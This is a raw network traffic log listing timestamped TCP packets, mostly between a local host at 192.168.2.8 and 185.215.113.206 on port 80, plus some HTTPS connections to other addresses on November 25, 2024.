Nov 25, 2024 03:39:55.404099941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.404848099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.404900074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.404939890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.404974937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.405714035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.405783892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.405813932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.405854940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.406589031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.406641006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.406693935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.406838894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.407464027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.407519102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.407584906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.407772064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.408344030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.408385992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.408454895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.408493996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.409223080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.409280062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.409311056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.409331083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.409624100 CET	49818	443	192.168.2.8	23.96.180.189
Nov 25, 2024 03:39:55.410111904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.410159111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.410216093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.410253048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.411003113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.411058903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.411220074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.411257029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.411957026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.411967993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.412008047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.412775040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.412847996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.412885904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.412924051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.413636923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.413692951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.413732052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.413889885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.414545059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.414568901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.414594889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.414614916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.415406942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.415452957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.415515900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.415560961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.416273117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.416325092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.416330099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.416361094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.417160988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.417218924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.417256117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.417408943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.418018103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.418065071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.418128967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.418165922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.418894053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.418945074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.419008017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.419084072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.419792891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.419847012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.419900894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.419979095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.420664072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.420706034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.420706987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.420733929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.421545982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.421588898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.421623945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.421660900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.422409058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.422475100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.422523975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.422564030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.423365116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.423376083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.423424006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.424179077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.424237967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.424292088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.424431086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.425071955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.425148964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.425184965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.425221920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.425960064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.426068068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.426110029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.426110029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.426821947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.426867962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.426933050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.426970959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.427719116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.427762032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.427828074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.427866936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.428580046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.428628922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.428697109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.428756952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.429457903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.429502010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.429570913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.429610014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.430351973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.430392027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.430454969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.430602074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.431224108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.431266069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.431328058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.431721926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.432106972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.432161093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.432193041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.432230949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.432981014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.433032990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.433079958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.433123112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.433846951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.433924913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.433948994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.433984041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.434741020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.434794903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.434830904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.434864998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.435627937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.435683012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.435715914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.435756922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.436491966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.436599970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.436652899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.437375069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.437437057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.437469959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.437509060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.438213110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.438266993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.565149069 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.566512108 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.566540003 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.567682028 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.567773104 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.568291903 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.568366051 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.568490982 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.568500996 CET	443	49823	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.582847118 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:55.582885981 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:55.582951069 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:55.583728075 CET	49828	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:55.583762884 CET	443	49828	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:55.584364891 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:55.584398031 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:55.584481955 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:55.584755898 CET	49829	443	192.168.2.8	23.219.82.24
Nov 25, 2024 03:39:55.584770918 CET	443	49829	23.219.82.24	192.168.2.8
Nov 25, 2024 03:39:55.585021019 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:55.585057020 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:55.585273027 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:55.585488081 CET	49830	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:55.585501909 CET	443	49830	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:55.586918116 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:55.586956978 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:55.587023020 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:55.587310076 CET	49831	443	192.168.2.8	204.79.197.219
Nov 25, 2024 03:39:55.587327003 CET	443	49831	204.79.197.219	192.168.2.8
Nov 25, 2024 03:39:55.602468014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.602556944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.602586031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.602611065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.602889061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.602935076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.602942944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.602977037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.603771925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.603811026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.603861094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.604042053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.604662895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.604721069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.604754925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.604794025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.605525970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.605576038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.605633974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.605670929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.606393099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.606450081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.606503010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.606585026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.607275963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.607429028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.607475042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.608167887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.608277082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.608304024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.608323097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.609050989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.609163046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.609169006 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.609220028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.609539032 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.609564066 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.609915018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.609962940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.610018969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.610054970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.610397100 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.610579967 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.610640049 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.610795975 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.610804081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.610815048 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.610845089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.610903025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.611040115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.611212015 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.611686945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.611787081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.611924887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.612569094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.612571001 CET	49823	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.612718105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.612749100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.612787008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.613445997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.613487005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.613549948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.614347935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.614403009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.614404917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.614443064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.615012884 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.615086079 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.615217924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.615262032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.615341902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.615411043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.615528107 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.615536928 CET	443	49822	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.616087914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.616137028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.616173029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.616209030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.616879940 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.616986990 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.617018938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.617106915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.617117882 CET	49821	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.617172003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.617213011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.617841959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.617893934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.617942095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.617979050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.618738890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.618789911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.618824005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.618859053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.619601965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.619666100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.619724035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.619762897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.620472908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.620512962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.620569944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.620737076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.621354103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.621396065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.621479988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.621529102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.622241974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.622293949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.622334003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.622370958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.623131037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.623173952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.623251915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.623289108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.623996019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.624041080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.624090910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.624161005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.625000000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.625011921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.625056982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.625780106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.625880957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.625890970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.625916004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.626633883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.626713991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.626749039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.626828909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.627527952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.627620935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.627640009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.627708912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.628402948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.628484011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.628560066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.628592968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.629229069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:55.629276037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:55.657632113 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.657919884 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.657938004 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.658107996 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.658334970 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.658356905 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.658705950 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.659044027 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.659102917 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.659143925 CET	49822	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.660145044 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.660218954 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.660798073 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.660878897 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.661009073 CET	49824	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.661017895 CET	443	49824	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.661063910 CET	49820	443	192.168.2.8	104.117.182.32
Nov 25, 2024 03:39:55.663324118 CET	443	49821	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.703340054 CET	443	49820	104.117.182.32	192.168.2.8
Nov 25, 2024 03:39:55.706305027 CET	49824	443	192.168.2.8	104.117.182.32
